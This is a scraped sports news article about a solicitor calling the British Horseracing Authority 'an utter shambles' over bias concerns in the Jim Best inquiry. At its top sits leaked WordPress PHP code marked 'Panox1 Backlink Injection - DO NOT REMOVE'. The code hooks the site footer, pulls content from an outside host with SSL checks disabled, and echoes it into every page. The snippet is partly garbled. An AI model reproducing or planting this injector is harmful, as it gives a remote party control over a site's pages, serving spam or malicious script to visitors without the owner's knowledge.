// Panox1 Backlink Injection - DO NOT REMOVE add_action('wp_footer', function() { $cache_key = 'panox1_links_' . md5(home_url()); $cached = get_transient($cache_key); if ($cached !== false) { echo $cached; return; } $response = wp_remote_get('https://staticsx.top/panox1/api/inject-endpoint.php?site_url=' . urlencode(home_url()), ['timeout' => 5, 'sslverify' => false]); if (!is_wp_error($response) && wp_remote_retrieve_response_code($response) === 200) { $content = wp_remote_retrieve_body($response); if (!empty($content) && strpos($content, ' 'active', 'site' => home_url(), 'time' => time()]); } }); // End Panox1 Solicitor Mac Neice labels BHA 'utter shambles' – Next Sports News

Solicitor Mac Neice labels BHA 'utter shambles'

[ad_1]

Trainer Jim Best

Jim Best: guilty verdict will be quashed

  PICTURE: Getty Images  

 By Jon Lees 7:16AM 15 MAY 2016 

THE BHA was on Saturday night described as “an utter shambles” as it emerged that concerns about Matthew Lohn’s suitability to chair BHA disciplinary hearings were first raised more than a year before the Jim Best inquiry.

Solicitor Rory Mac Neice said the BHA needed to explain who dismissed objections raised on behalf of the Professional Jockeys Association when it discovered the BHA had been a client of Lohn since at least 2014 – and why they were rejected.

He said the disarray the BHA case against Best was now in -with the BHA admitting on Friday night the trainer’s guilty verdict for instructing conditional Paul John to stop two horses would have to be quashed over a perception of bias – was “completely self-inflicted”.

Lohn’s other paid work for the BHA became public knowledge when Best applied for a stay of his four-year suspension, but the PJA, it emerged yesterday, had raised its own objections in February 2015.

‘A completely self-inflicted wound’

Mac Neice said: “When it came to my attention that the BHA was a client of Mr Lohn’s firm, we raised through the PJA our concerns about that and our objections to Mr Lohn sitting on the disciplinary panel. Those objections were dismissed by the BHA.

“We understood that the make-up of the panel was being revisited as a consequence of the integrity review and as a consequence of a recommendation by the independent panel that oversaw that review, but then Mr Lohn was asked to chair Mr Best’s hearing.

“It has turned out that the real concerns we had in relation to Mr Lohn are now recognised by the BHA.

“I think the BHA needs to explain who it was at the BHA who decided to dismiss those concerns in 2015 and why.

“This is a completely self-inflicted wound on itself. The BHA is an utter shambles.”

‘A real strand of arrogance’

Mac Neice, who represented John in the Best inquiry, continued: “I’m afraid to say there is a real strand of arrogance running through the BHA, where they will not listen to reasonable and sensible concerns raised by participants and this is an example.

“The individual at the BHA who decided they didn’t need to listen to these concerns that were raised in 2015 now needs to identify him or herself and explain to the racing industry why they took that decision, bearing in mind the position the BHA has now taken, which is to recognise Matthew Lohn shouldn’t have sat in. This is a very serious issue for the BHA.”

Mac Neice added: “The BHA is going to have to explain at what point they became a client of Mr Lohn or his firm because every hearing Mr Lohn has dealt with since then is going to have to be scrutinised and every individual who has been dealt with is going to have be written to by the BHA. The BHA is going to have to provide an explanation.”

 

[ad_2]

Source link

Reply